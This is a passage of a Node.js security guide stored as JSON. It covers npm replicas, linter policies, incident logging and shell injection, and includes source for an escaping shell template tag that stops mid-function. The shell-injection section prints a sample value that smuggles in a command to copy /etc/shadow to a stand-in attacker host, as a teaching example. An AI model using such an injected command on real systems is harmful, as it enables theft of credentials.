tarballs.  (See below)\n   3. Check the revision controlled portion and any organization-specific\n      metadata into revision control\n   4. File a tracking issue for review of the new module, so that\n      code quality checks can happen in parallel with the developers\n      test-driving the module and figuring out whether it really\n      solves their problem.\n   5. Optionally, `yarn add`s the module to the developer's `package.json`.\n*  Developers shouldn't have direct write access to the local replica\n   so that malicious code running on a single developer's workstation\n   cannot compromise other developers via the local replica.\n\nFinally, all Node.js projects need to have a symlink to the\norganization's `.yarnrc` at their root that points to the local\nreplica.\n\n## Running install script safely\n\nRunning `{pre-,,post-}install` scripts without developer privileges\nprevents malicious code (see [MTP][]) from:\n\n*  Modifying code in a local repository.\n*  Committing code as the developer possibly signing commits\n   with keys available to `ssh-agent`.\n*  Adding scripts to directories on a developer's `$PATH`.\n*  Abusing `npm login` or [`yarn login`][] credentials.\n\nIdeally one would run these on a separate sandboxed machine.\nMany organizations have access to banks of machines that\ntest client-side JavaScript apps by running instrumented\nbrowsers and include Windows boxes for testing IE, and\nMacOS boxes for testing Safari.  These banks might also\nrun install scripts without any developer privileges and\nwith an airgap between the install scripts and source code\nfiles.\n\nIf that doesn't work, running install scripts via `sudo -u `*guest*\nwhere *guest* is a low-privilege account makes it harder for the\ninstall script to piggyback on the developer's private keys.\n\n## Proposed Solutions\n\nA local replica manager should make it easy to:\n\n*  Locally cache npm packages so that an interruption in service by\n   `registry.npmjs` doesn't affect the ability to deploy a security\n   update to existing products.\n*  Cherrypick versions from `registry.npmjs` so that reviewers can\n   exercise oversight, and remove versions with known,\n   security-relevant regressions.\n*  Publish one's own local patches to packages in the global\n   namespace, so that incident responders can workaround zero-days\n   without waiting for upstream.\n*  Associate organization specific metadata with packages and versions\n   so that the organization can aggregate lessons learned about\n   specific dependencies.\n*  Cross-compile binaries so that developers do not have to run\n   installation scripts on their own machines.\n\nThe local repository providers mentioned above address many of these,\nbut we have not comprehensively evalated any of them.\n\nCherrypicking a version should not require using a tool other than\n`npm` or `yarn`.  Cherrypicking a version when `npm` communicates\ndirectly with `registry.npmjs` should be a no-op, so the `npm`\ninterface could support cherrypicking.\n\nExisting tools do not prevent abuse of developer privileges by install\nscripts.  The first tool to do so should be preferred by security\nconscious organizations.\n\nIdeally `npm` and `yarn` would be configurable so that they could\ndelegate running installation script to a local replica manager.  We\nwould like to see local replica managers compete on their ability to\ndo so securely.  We realize that this is no small change, but abuse of\ndeveloper privileges can directly affect source base integrity.\n\nIf an `npm` configuration could opt into sending the project name from\n`package.json` then local replica managers could make it easier for\nincident responders to find projects affected by a security alert for\na specific module.\n\n\n[James Shore]: https://www.letscodejavascript.com/v3/blog/2014/03/the_npm_debacle\n[package locks]: https://docs.npmjs.com/files/package-lock.json\n[npm Enterprise]: https://www.npmjs.com/enterprise\n[configured to use a different registry]: https://docs.npmjs.com/misc/config\n[Artifactory]: https://www.jfrog.com/confluence/display/RTF/Npm+Registry#NpmRegistry-AdvancedConfiguration\n[Sinopia]: https://www.npmjs.com/package/sinopia#override-public-packages\n[Verdaccio]: https://github.com/verdaccio/verdaccio/blob/66b2175584e29587be0fd7979ea9f9c73b08b8e9/docs/use-cases.md#override-public-packages\n[yarn]: https://github.com/yarnpkg/yarn\n[security-wg process]: https://github.com/nodejs/security-wg/blob/master/processes/third_party_vuln_process.md\n[0DY]: ../chapter-1/threat-0DY.md\n[MTP]: ../chapter-1/threat-MTP.md\n[offline mirror]: https://yarnpkg.com/blog/2016/11/24/offline-mirror/\n[interactive shell]: http://www.tldp.org/LDP/abs/html/intandnonint.html#IITEST\n[CVE-IDs]: https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures#CVE_identifiers\n[saccone]: https://www.kb.cert.org/CERT_WEB/services/vul-notes.nsf/6eacfaeab94596f5852569290066a50b/018dbb99def6980185257f820013f175/$FILE/npmwormdisclosure.pdf\n[`yarn login`]: https://yarnpkg.com/en/docs/cli/login\n[trojan]: https://en.wikipedia.org/wiki/Trojan_horse_(computing)\n"
  },
  {
    "path": "chapter-5/oversight.md",
    "content": "# Oversight\n\n\n## Problem\n\nThreats: [BOF][] [CRY][] [DEX][] [EXF][] [LQC][] [QUI][] [RCE][] [SHP][]\n\nManually reviewing third party modules for known security problems\nis time consuming.\n\nHaving developers wait for such review unnecessarily slows down\ndevelopment.\n\nOur engineering processes ought not force us to choose between\nforgoing sanity checks and shipping code in a timely manner.\n\n\n## Background\n\n[JSConformance][] allows a project team to specify a policy for\nClosure JavaScript.  This policy can encode lessons learned about APIs\nthat are prone to misuse.  By taking into account type information\nabout arguments and `this`-values it can distinguish problematic\npatterns like `setTimeout(aString, dt)` from unproblematic ones\n`setTimeout(aFunction, dt)`.\n\n[TSLint][tslint] and [ESLint][eslint] both allow custom rules so can\nbe extended as a project or developer community identifies Good and\nBad parts of JavaScript for their particular context.\n\n\n\n## A possible solution\n\n### Encode lessons learned by the community in linter policies\n\nInstead of having security specialists reviewing lots of code\nthey should focus on improving tools.\nSome APIs and idioms are more prone to misuse than others, and some\nshould be deprecated in favor of more robust ways of expressing the\nsame idea.  As the community reaches a rough consensus that a code\npattern is prone to misuse or there is a more robust alternative, we\ncould try to encode that knowledge in an automatable policy.\n\nLinters are not perfect.  There are no sound production-quality static\ntype systems for JavaScript, so its linters are also necessarily\nheuristic.  TSLint typically has more fine-grained type information\navailable than ESLint, so there are probably more anti-patterns that\nTSLint can identify with an acceptable false-positive rate than\nESLint, but feedback about what can and can't be expressed in ESLint\nmight give its maintainers useful feedback.\n\nLinters can reduce the burden on reviewers by enabling computer aided\ncode review &mdash; helping reviewers focus on areas that use powerful\nAPIs, and giving a sense of the kinds of problems to look out for.\n\nThey can also give developers a sense of how controversial a review\nmight be, and guide them in asking the right kinds of questions.\n\nCustom policies can also help educate developers about alternatives.\n\nThe rule below specifies an anti-pattern for client-side JavaScript\nin machine-checkable form, assigns it a name, has a short summary that\ncan appear in an error message, and a longer description or\ndocumentation URL that explains the reasoning behind the rule.\n\nIt also documents a number of known exceptions to the rule, for\nexample, APIs that wrap `document.write` to do additional checks.\n\n```pb\nrequirement: {\n  rule_id: 'closure:documentWrite'\n  type: BANNED_PROPERTY\n  error_message: 'Using Document.prototype.write is not allowed. '\n      'Use goog.dom.safe.documentWrite instead.'\n      ''\n      'Any content passed to write() will be automatically '\n      'evaluated in the DOM and therefore the assignment of '\n      'user-controlled, insufficiently sanitized or escaped '\n      'content can result in XSS vulnerabilities.'\n      ''\n      'Document.prototype.write is bad for performance as it '\n      'forces document reparsing, has unpredictable semantics '\n      'and disallows many optimizations a browser may make. '\n      'It is almost never needed.'\n      ''\n      'Exceptions allowed for:'\n      '* writing to a completely new window such as a popup '\n      '  or an iframe.'\n      '* frame busting.'\n      ''\n      'If you need to use it, use the type-safe '\n      'goog.dom.safe.documentWrite wrapper, or directly '\n      'render a Strict Soy template using '\n      'goog.soy.Renderer.prototype.renderElement (or similar).'\n\n  value: 'Document.prototype.write'\n  value: 'Document.prototype.writeln'\n\n  # These uses have been determined to be safe by manual review.\n  whitelist: 'javascript/closure/async/nexttick.js'\n  whitelist: 'javascript/closure/base.js'\n  whitelist: 'javascript/closure/dom/safe.js'\n}\n```\n\n----\n\nWe propose a project that maintains a set of linter policies per language:\n\n*  A **common** policy suitable for all projects that identifies\n   anti-patterns that are generally regarded as bad practice by the\n   community with a low false positive rate.\n*  A **strict** policy suitable for projects that are willing to\n   deal with some false positives in exchange for identifying more\n   potential problems.\n*  An **experimental** policy that projects that want to contribute to\n   linter policy development can use.\n   New rules go here first, so that rule maintainers can get feedback\n   about their impact on real code.\n\n\n### Decouple Reviews from Development\n\nWithin a large organization, there are often multiple review cycles, some\nconcurrent:\n\n-  Reviews of designs and use cases where developers gather information\n   from others.\n-  Code reviewers critique pull requests for correctness, maintainability,\n   testability.\n-  Release candidate reviews where professional testers examine a\n   partial system and try to break it.\n-  Pre-launch reviews where legal, security & privacy, and other\n   concerned parties come to understand the state of the system and\n   weigh in on what they need to be able to support its deployment.\n-  Limited releases where trusted users get to use an application.\n\nReviews should happen early and late.  When designing a system or a\nnew feature, technical leads should engage specialists.  Before\nshipping, they should circle back to double check the implementation.\nDuring rapid development though, developers should drive development\n&mdash; they may ask questions, and may receive feedback (solicited\nand not), but ought not have to halt work while they wait for reviews\nfrom specialists.\n\nSome changes have a higher security impact than other, so\nsome will require review by security specialists, but not most.\n\nDuring an ongoing security review, security specialists can contribute\nuse cases and test cases; file issues; and help to integrate tools\nlike linters, fuzzers, and vulnerability scanners.\n\nAs described in \"[Keeping your dependencies close][]\", new third-party\nmodules are of particular interest to security specialists, but\nshouldn't require security review before developers use them on an\nexperimental basis.\n\nThere are a many workflows that allows people to work independently\nand later circle back so that nothing falls through the cracks.\nBelow is one that has worked in similar contexts:\n\n1. The developer (or the automated import script) files a\n   tracking issue that is a prerequisite for pre-launch review.\n2. If the developer later finds out that they don't plan on using\n   the unreviewed module, they can close the tracking issue.\n3. The assigned security specialist asks follow-up questions and\n   reports their findings via the tracking issue.\n4. A common pre-launch script checks queries a module metadata\n   databased maintained by security to identify still-unvetted\n   dependencies.\n\n[BOF]: ../chapter-1/threat-BOF.md\n[CRY]: ../chapter-1/threat-CRY.md\n[DEX]: ../chapter-1/threat-DEX.md\n[EXF]: ../chapter-1/threat-EXF.md\n[LQC]: ../chapter-1/threat-LQC.md\n[RCE]: ../chapter-1/threat-RCE.md\n[SHP]: ../chapter-1/threat-SHP.md\n[QUI]: ../chapter-1/threat-QUI.md\n[JSConformance]: https://github.com/google/closure-compiler/wiki/JS-Conformance-Framework\n[tslint]: https://palantir.github.io/tslint/develop/custom-rules/\n[eslint]: https://eslint.org/docs/developer-guide/working-with-rules-new#runtime-rules\n[Keeping your dependencies close]: ../chapter-4/close_dependencies.md\n"
  },
  {
    "path": "chapter-6/failing.md",
    "content": "# When all else fails\n\n## Background\n\nThe [\"Incident Handlers Handbook\"][SANS] discusses at length how to\nrespond to security breaches, but the main takeaways are:\n\n*  You need to do work before incidents happen to be able to\n   respond effectively.\n*  Similar measures can lower the rate of incidents.\n*  You will still have incidents.\n*  Being in a position to respond effectively can limit damage when\n   incidents occur.\n\nNode's proposed [security working group][security-wg]\nincludes in its charter measures to route information about\nvulnerabilities and fixes to the right places, and coordinate response\nand disclosure.\n\nPackage monitoring services like [nodesecurity], GitHub's\n[package graph][github graph], [snyk][], and the\n[nodejs-sec list][nodejs-sec] aim to help vulnerability reports get to\nthose who need them.\n\n\n## Problem\n\nThreats: [0DY][]\n\nNode's security working group is working on a lot of preparedness\nissues so we only address a few.\n\n### Naming is hard\n\nEach of the groups mentioned above is doing great work trying to help\npatches get to those who need them.  Each seems to be rolling their own\nnaming scheme for vulnerabilities.\n\nThe computer security community has a\n[centralized naming scheme][CVE-IDs] for vulnerability reports so that\nreports don't fall through the cracks.  Security responders rarely\nhave the luxury of dealing with a single stack much less a single\nlayer of that stack so mailing lists are not sufficient &mdash; if\nreporters roll their own naming scheme or only disclose via\nunstructured text, reports will fall through the cracks.\n\n### Logging\n\nWhen trying to diagnose a problem, responders often look to log files.\nThere has been much written on how to protect logs from\n[forgery][log injection].\n\n```js\nconsole.log(s);\n```\n\non a stack node runtime allows an attacker who controls `s` to write\nany content to a log.\n\n```js\nconsole.log('MyModule: ' + s);\n```\n\nis a bit better.  An attacker has to insert a newline character into\n`s` to forge another modules log prefix, and can't get rid of the\nprevious one.\n\n\n## Success Criteria\n\nIncident responders would have the tools necessary to do their jobs if\n\n*  Security specialists can subscribe to a stream of notifications\n   that include the vast majority of actionable security disclosures.\n*  Responders can narrow down which code generated which log entries.\n\n\n## Possible solutions\n\n### Naming\n\nUse CVE-IDs if at all possible when disclosing a vulnerability.  There\nis a CNA for Node.js but that doesn't cover non-core npm modules and\nother CNAs cover runtime dependencies like OpenSSL.  If there is no\nother CNA that is appropriate, MITRE will issue an ID.\n\n### Logging\n\nOn module load, the builtin `module.js` creates a new version of\n`require` for each module so that it can make sure that the module path\ngets passed as the module parent parameter.\n\nThe same mechanism could create a distinct `console` logger for each\nmodule that narrows down the source of a message, and makes it\nunambiguous where one message ends and the next starts.  For example:\n\n1. Replace all `/\\r\\n?/g` in the log message text with `'\\n'`\n   and emit a CRLF after the log message to prevent forgery by\n   line splitting.\n2. Prefix it with the module filename and a colon.\n\nWith this, an incident responder reading a log message can reliably\ntell that the module mentioned is where the log message originated, as\nlong as the attacker didn't get write access to the log file.\nPreventing log deletion by other processes is better handled by\nLinux's `FS_APPEND_FL` and similar mechanisms than in node.\n\n[nodesecurity]: https://nodesecurity.io/advisories\n[github graph]: https://github.com/blog/2447-a-more-connected-universe\n[snyk]: https://snyk.io/vuln?packageManager=npm\n[nodejs-sec]: https://groups.google.com/group/nodejs-sec\n[CVE-IDs]: https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures#CVE_identifiers\n[log injection]: https://www.owasp.org/index.php/Log_Injection\n[0DY]: ../chapter-1/threats.md\n[SANS]: https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901\n[security-wg]: https://github.com/nodejs/security-wg\n"
  },
  {
    "path": "chapter-7/child-processes.md",
    "content": "# Shell injection\n\nThreats: [SHP][]\n\nThe [`shelljs` module][shelljs] allows access to the system\nshell.  We focus on `shelljs`, but similar arguments apply to builtins\nlike `child_process.spawn(cmd, { shell: ... })` ([docs][cp.spawn]) and\nsimilar modules.\n\n`shelljs` has some nice programmatic APIs for common shell commands\nthat escape arguments.\n\nIt also provides `shell.exec` which allows full access to the shell\nincluding interpretation of shell meta characters.\n\nSolving [shell injection][SHP] is a much harder problem than query\ninjection since shell scripts tend to call other shell scripts, so\nproperly escaping arguments to one script doesn't help if the script\nsloppily composes a sub-shell.  The problem of tools that trust their\ninputs is not limited to shell scripts: see discussion of image decoders\nin [BOF][].\n\nThe [shell grammar][] has more layers of interpretation so is arguably\nmore complex than any one SQL grammar.\n\nWe can do much better than string concatenation though.  The code\nbelow is vulnerable.\n\n```js\nshelljs.exec(\"executable '\" + x + \"'\")\n```\n\nIf an attacker causes\n\n```js\nx = \" '; scp /etc/shadow evil@evil.org/; echo ' \";\n```\n\nthen what gets passed to the shell is\n\n```js\nexecutable ' '; scp /etc/shadow evil@evil.org/; echo ' '\n```\n\nInstead, consider:\n\n```js\nshelljs.exec`executable ${x}`\n\nshelljs.exec`executable '${x}'`\n```\n\nThis use of tagged templates is roughly equivalent to\n\n```js\nshelljs.exec([\"executable \", \"\"], x)\n\nshelljs.exec([\"executable \\'\", \"\\'\"], x)\n```\n\nThis way, when control reaches `shelljs`, it knows which strings came\nfrom the developer: `[\"executable \", \"\"]`, and which are inline\nexpressions: `x`.  If `shelljs` properly escapes the latter, it\nprevents the breach above.\n\nThe accompanying example ([code][sh-code]) includes a tag\nimplementation for `sh` and `bash` that recognizes complex nesting\nsemantics.\n\nWe can't, working within the confines of Node, prevent poorly written\ncommand line tools from breaking when exposed to untrusted inputs, but\nwe can make sure that we preserve the developer's intent when they\nwrite code that invokes command line tools.  For projects that have\nlegitimate reasons for invoking sub-shells, consistently using\ntemplate tags like this solves some problems and makes it more likely\nthat effort spent hardening command line tools will yield fruit.\n\n[shell grammar]: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_10\n[shelljs]: https://www.npmjs.com/package/shelljs\n[cp.spawn]: https://nodejs.org/api/child_process.html#child_process_child_process_spawn_command_args_options\n[SHP]: ../chapter-1/threat-SHP.md\n[BOF]: ../chapter-1/threat-BOF.md\n[sh-code]: https://github.com/mikesamuel/sh-template-tag\n"
  },
  {
    "path": "chapter-7/examples/sh/index.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * @fileoverview\n * Usage:\n * {@code\n * const sh = require('sh-template-tag')\n * sh`echo ${foo}`\n * }\n */\n\nconst crypto = require('crypto')\nconst {\n  memoizedTagFunction,\n  trimCommonWhitespaceFromLines,\n  TypedString\n} = require('template-tag-common')\n\n/** A regex chunk that matches only s. */\nfunction reEsc (str) {\n  return str.replace(/[\\^\\x5b\\x5d\\-\\\\]/g, '\\\\$&')\n    .replace(/[*+(){}|$/.]/g, '[$&]')\n}\n\n/** The union of the given regex chunks. */\nfunction reUnion (alternatives) {\n  return `(?:${alternatives.join('|')})`\n}\n\nconst ALL_DELIMS = [ '\"', '\\'', '#', '`', '$((', '$(', '${', '(', '<<-', '<<' ]\nconst NLS = [ '\\n', '\\r\\n', '\\r' ]\n\n// Embedders take the value to embed and return the text to substitute. */\n/** Embeds a value where a single quoted string token is allowed. */\nfunction emsq (x) {\n  if (x instanceof ShFragment) {\n    return x.content\n  }\n  return `'${emisq(x)}'`\n}\n/** Embeds a string in an opened single quoted string */\nfunction emisq (x) {\n  if (x == null) { // eslint-disable-line no-eq-null\n    // Intentionally matches undefined\n    return ''\n  }\n  return String(x).replace(/'/g, `'\"'\"'`)\n}\n/** Embeds a string in an opened double quoted string */\nfunction emidq (x) {\n  if (x == null) { // eslint-disable-line no-eq-null\n    // Intentionally matches undefined\n    return ''\n  }\n  return String(x).replace(/[$\"\\\\]/g, '\\\\$&')\n}\n/** Embeds in a comment, replacing the content with a space */\nfunction emsp (x) {\n  return ' '\n}\n/**\n * Embeds in heredoc.\n * We handle rewriting HEREDOC labels to avoid collisions later.\n */\nfunction emhd (x) {\n  return String(x)\n}\n\n/**\n * Maps start delimiters to their end delimiters and whether\n * '\\\\' and start delimiters are significant.\n *\n * Properties:\n * .ends: delimiters that end blocks that start with the key.\n * .embed: a function that converts values to content that embeds within\n *         the block.\n * .escapes: true iff backslash escapes a character that might otherwise\n *         participate in a start or end delimiter, or another backslash.\n * .nests: list of start delimiters that are significant in the block.\n *\n * Extra properties derived from above:\n * .bodyRegExp: matches a prefix of a string that is a chunk of body content.\n * .startRegExp: matches a start delimiter in nests at start of input\n * .endRegExp: matches an end delimiter at start of input.\n */\nconst DELIMS = {\n  '': { ends: [], embed: emsq, escapes: false, nests: ALL_DELIMS },\n  '\"': { ends: [ '\"' ], embed: emidq, escapes: true, nests: [ '`', '$((', '$(', '${' ] },\n  '\\'': { ends: [ '\\'' ], embed: emisq, escapes: false, nests: [] },\n  '`': { ends: [ '`' ], embed: emsq, escapes: true, nests: ALL_DELIMS },\n  '$((': { ends: [ '))' ], embed: emsq, escapes: true, nests: ALL_DELIMS },\n  '$(': { ends: [ ')' ], embed: emsq, escapes: true, nests: ALL_DELIMS },\n  '${': { ends: [ '}' ], embed: emsq, escapes: true, nests: ALL_DELIMS },\n  '(': { ends: [ ')' ], embed: emsq, escapes: true, nests: ALL_DELIMS },\n  // '#' requires special handling below since it must follow whitespace\n  '#': { ends: NLS, embed: emsp, escapes: false, nests: [] },\n  // Heredoc requires special handling below to handle the nonce.\n  '<<': { ends: NLS, embed: emhd, escapes: false, nests: [] },\n  '<<-': { ends: NLS, embed: emhd, escapes: false, nests: [] }\n}\n\n// Flesh out the DELIMS table with derived information used by the lexer.\ndo {\n  ((() => {\n    for (const startDelim in DELIMS) {\n      const delimInfo = DELIMS[startDelim]\n      const { nests, ends, escapes } = delimInfo\n\n      const startsPattern = nests.length ? reUnion(nests.map(reEsc)) : '(?!)'\n      const endsPattern = ends.length ? reUnion(ends.map(reEsc)) : '(?!)'\n      // Any number of (see Kleene-* below)\n      let pattern = '^(?:'\n      if (escapes) {\n        // Any escaped character or ...\n        pattern += '[\\\\\\\\][\\\\s\\\\S]|'\n      }\n\n      // Not one of ends\n      pattern += `(?!${endsPattern}`\n      if (nests.length) {\n        pattern += `|${startsPattern}`\n      }\n      pattern += ')'\n\n      // Character to match.\n      pattern += escapes ? '[^\\\\\\\\]' : '[\\\\s\\\\S]'\n      pattern += ')*'\n      delimInfo.bodyRegExp = new RegExp(pattern)\n      delimInfo.endRegExp = new RegExp(`^${endsPattern}`)\n      delimInfo.startRegExp = new RegExp(`^${startsPattern}`)\n    }\n  })())\n} while (0)\n\n/** Template tag that creates a new Error with a message. */\nfunction fail (strs, ...dyn) {\n  let [ msg ] = strs\n  for (let i = 0; i < dyn.length; ++i) {\n    msg += JSON.stringify(dyn[i]) + strs[i + 1]\n  }\n  return new Error(msg)\n}\n\nconst HASH_COMMENT_PRECEDER = /[\\t\\n\\r (]$/\n\n/** Skip over \"<<\" or \"<<-\" prefix to get the label. */\nfunction heredocLabel (startDelim) {\n  return startDelim.substring(2 + (startDelim[2] === '-'))\n}\n\nfunction heredocBodyRegExp (label) {\n  return new RegExp(\n    // Maximal run of non-CRLF characters or a CRLF character\n    // that is not followed by the label and a newline after\n    // a run of spaces or tabs.\n    `^(?:[^\\n\\r]|(?![\\n\\r]${label}[\\r\\n])[\\n\\r])*`)\n}\n\nconst START_CONTEXT = Object.freeze([ '', 0, 0, 0 ])\n\n/**\n * Returns a function that can be fed chunks of input and\n * which returns the context in which interpolation occurs.\n * If the returned function is fed null, then it will\n * throw an error only if not in a valid end context.\n */\nfunction makeLexer () {\n  // A stack of (\n  //     start delimiter,\n  //     position of start in concatenation of chunks,\n  //     position of start in current chunk)\n  //     delimiter length in chunk\n  // for each start delimiter for which we have not yet seen\n  // an end delimiter.\n  const delimiterStack = [ START_CONTEXT ]\n  let position = 0\n\n  function propagateContextOverChunk (origChunk) {\n    // A suffix of origChunk that we consume as we tokenize.\n    let chunk = origChunk\n    while (chunk) {\n      const top = delimiterStack[delimiterStack.length - 1]\n      const [ topStartDelim ] = top\n      let delimInfo = DELIMS[topStartDelim]\n      let bodyRegExp = null\n      if (delimInfo) {\n        bodyRegExp = delimInfo.bodyRegExp // eslint-disable-line prefer-destructuring\n      } else if (topStartDelim[0] === '<' && topStartDelim[1] === '<') {\n        bodyRegExp = heredocBodyRegExp(heredocLabel(topStartDelim))\n        delimInfo = DELIMS['<<']\n      } else {\n        throw fail`Failed to maximally match chunk ${chunk}`\n      }\n      const match = bodyRegExp.exec(chunk)\n      if (!match) {\n        // Can occur if a chunk ends in '\\\\' and bodyPattern\n        // allows escapes.\n        throw fail`Unprocessable content ${chunk} in context ${top}`\n      }\n\n      chunk = chunk.substring(match[0].length)\n      position += match[0].length\n\n      if (!chunk) {\n        break\n      }\n\n      const afterDelimitedRegion = findDelimitedRegionInChunk(\n        delimInfo, origChunk, chunk)\n      if (afterDelimitedRegion.length >= chunk.length) {\n        throw fail`Non-body content remaining ${chunk} that has no delimiter in context ${top}`\n      }\n      chunk = afterDelimitedRegion\n    }\n  }\n\n  /**\n   * Look for a matching end delimiter, or, if that fails,\n   * apply nesting rules to figure out which kind of start delimiters\n   * we might look for.\n   *\n   * @param delimInfo relating to the topmost delimiter on the stack\n   * @param origChunk the entire chunk being lexed\n   * @param chunk the suffix of origChunk starting with the delimiter start\n   *\n   * @return the suffix of chunk after processing any delimiter\n   */\n  function findDelimitedRegionInChunk (delimInfo, origChunk, chunk) {\n    let match = delimInfo.endRegExp.exec(chunk)\n    if (match) {\n      if (delimiterStack.length === 1) {\n        // Should never occur since DELIMS[''] does not have\n        // any end delimiters.\n        throw fail`Popped past end of stack`\n      }\n      --delimiterStack.length\n      position += match[0].length\n      return chunk.substring(match[0].length)\n    } else if (delimInfo.nests.length) {\n      match = delimInfo.startRegExp.exec(chunk)\n      if (match) {\n        return propagateContextOverDelimiter(origChunk, chunk, match)\n      }\n    }\n    return chunk\n  }\n\n  /**\n   * Does some delimiter specific parsing.\n   *\n   * @param origChunk the entire chunk being lexed\n   * @param chunk the suffix of origChunk starting with the delimiter start\n   * @param match the match of the delimiters startRegExp\n   */\n  function propagateContextOverDelimiter (origChunk, chunk, match) {\n    let [ start ] = match\n    let delimLength = start.length\n    if (start === '#') {\n      const chunkStartInWhole = origChunk.length - chunk.length\n      if (chunkStartInWhole === 0) {\n        // If we have a chunk that starts with a\n        // '#' then we don't know whether two\n        // ShFragments can be concatenated to\n        // produce an unambiguous ShFragment.\n        // Consider\n        //    sh`foo ${x}#bar`\n        // If x is a normal string, it will be\n        // quoted, so # will be treated literally.\n        // If x is a ShFragment that ends in a space\n        // '#bar' would be treated as a comment.\n        throw fail`'#' at start of ${chunk} is a concatenation hazard.  Maybe use \\#`\n      } else if (!HASH_COMMENT_PRECEDER.test(origChunk.substring(0, chunkStartInWhole))) {\n        // A '#' is not after whitespace, so does\n        // not start a comment.\n        chunk = chunk.substring(1)\n        position += 1\n        return chunk\n      }\n    } else if (start === '<<' || start === '<<-') {\n      // If the \\w+ part below changes, also change the \\w+ in fixupHeredoc.\n      const fullDelim = /^<<-?[ \\t]*(\\w+)[ \\t]*[\\n\\r]/.exec(chunk)\n      // http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_03\n      // defines word more broadly.\n      // We can't handle that level of complexity here\n      // so fail for all heredoc that do not match word.\n      if (!fullDelim) {\n        throw fail`Failed to find heredoc word at ${chunk}.  Use a nonce generator instead of .`\n      }\n      start += fullDelim[1]\n      delimLength = fullDelim[0].length\n    }\n    delimiterStack.push(Object.freeze(\n      [ start, position, origChunk.length - chunk.length, delimLength ]))\n    chunk = chunk.substring(delimLength)\n    position += match[0].length\n    return chunk\n  }\n\n  return (wholeChunk) => {\n    if (wholeChunk === null) {\n      // Test can end.\n      if (delimiterStack.length !== 1) {\n        throw fail`Cannot end in contexts ${delimiterStack.join(' ')}`\n      }\n    } else {\n      propagateContextOverChunk(String(wholeChunk))\n    }\n    return delimiterStack[delimiterStack.length - 1]\n  }\n}\n\n/**\n * A string wrapper that marks its content as a series of\n * well-formed SQL tokens.\n */\nclass ShFragment extends TypedString {}\n\n/** Applies the lexer to the static parts. */\nfunction computeShellContexts (staticStrings) {\n  // Collect an array of parsing decisions so that\n  // we don't need to rerun the lexer when a particalar tag use\n  // is executed multiple times.\n  const contexts = []\n  const { raw } = trimCommonWhitespaceFromLines(staticStrings)\n\n  const lexer = makeLexer()\n  for (let i = 0, len = raw.length; i < len; ++i) {\n    const chunk = raw[i]\n    contexts.push(lexer(chunk))\n  }\n\n  // Require valid end state.\n  lexer(null)\n\n  return { contexts, raw }\n}\n\n/**\n * Composes an ShFragment whose content consists of staticStrings\n * interleaved with untrusted appropriately escaped.\n */\nfunction composeShellString ({ contexts, raw }, staticStrings, untrusted) {\n  const trusted = raw\n  // A buffer onto which we accumulate output.\n  const buf = [ trusted[0] ]\n  let [ currentContext ] = contexts\n  for (let i = 0, len = untrusted.length; i < len; ++i) {\n    const newContext = contexts[i + 1]\n    const value = untrusted[i]\n    let [ delim ] = currentContext\n    if (delim[0] === '<') {\n      delim = '<<'\n    }\n    const embedder = DELIMS[delim].embed\n    const chunk = trusted[i + 1]\n    buf.push(embedder(value, buf, currentContext), chunk)\n    if (currentContext !== newContext &&\n        delim[0] === '<' && delim[1] === '<') {\n      fixupHeredoc(buf, currentContext, newContext)\n    }\n    currentContext = newContext\n  }\n\n  return new ShFragment(buf.join(''))\n}\n\n/**\n * Double checks that dynamic content interpolated into a heredoc\n * string does not include the end word.\n * <p>\n * If it does, rewrites content on the buffer to use non-conflicting\n * start and end words.\n * <p>\n * If this functions fails to avoid a collision, it will fail with an\n * exception, but this should not reliably occur unless an attacker\n * can generate hash collisions.\n */\nfunction fixupHeredoc (buf, heredocContext) {\n  const [ delim, contextStart, contextOffset, delimLength ] = heredocContext\n  let chunkLeft = 0\n  let startChunkIndex = -1\n  for (let i = 0, len = buf.length; i < len; ++i) {\n    chunkLeft += buf[i].length\n    if (chunkLeft >= contextStart) {\n      startChunkIndex = i\n      break\n    }\n  }\n  if (startChunkIndex < 0) {\n    throw fail`Cannot find heredoc start for ${heredocContext}`\n  }\n  const label = heredocLabel(delim)\n  const endChunkIndex = buf.length - 1\n\n  // Figure out how much of the last chunk is part of the body.\n  const bodyRe = heredocBodyRegExp(label)\n  const endChunk = buf[endChunkIndex]\n  const lastBodyMatch = bodyRe.exec(endChunk)\n  if (lastBodyMatch[0].length === endChunk.length) {\n    throw fail`Could not find end of ${delim}`\n  }\n\n  const startChunk = buf[startChunkIndex]\n  let body = startChunk.substring(contextOffset + delimLength)\n  for (let i = startChunkIndex + 1; i < endChunkIndex; ++i) {\n    body += buf[i]\n  }\n  body += lastBodyMatch[0]\n\n  // Look for a premature end delimiter by looking at newline followed by body.\n  const testBody = `\\n${body}`\n  if (bodyRe.exec(testBody)[0].length !== testBody.length) {\n    // There is an embedded delimiter.\n    // Choose a suffix that an attacker cannot predict.\n    // An attacker would need to be able to generate sha256\n    // collisions to embed both NL <label> and NL <label> <suffix>.\n    let suffix = '_'\n    suffix += crypto.createHash('sha256')\n      .update(body, 'utf8')\n      .digest('base64')\n      .replace(/[=]+$/, '')\n    const newLabel = label + suffix\n    const newBodyRe = heredocBodyRegExp(newLabel)\n    if (!newBodyRe.exec(testBody)[0].length === testBody.length) {\n      throw fail`Cannot solve embedding hazard in ${body} in heredoc with ${label} due to hash collision`\n    }\n\n    const endDelimEndOffset = lastBodyMatch[0].length +\n        endChunk.substring(lastBodyMatch[0].length)\n          // If the \\w+ part below changes, also change the \\w+ in the lexer\n          // after the check for << and <<- start delimiters.\n          .match(/[\\r\\n]\\w+/)[0].length\n    const before = startChunk.substring(0, contextOffset + delimLength)\n      .replace(/[\\r\\n]+$/, '')\n    const after = startChunk.substring(contextOffset + delimLength)\n    buf[startChunkIndex] = `${before}${suffix}\\n${after}`\n    buf[endChunkIndex] = (\n      endChunk.substring(0, endDelimEndOffset) +\n        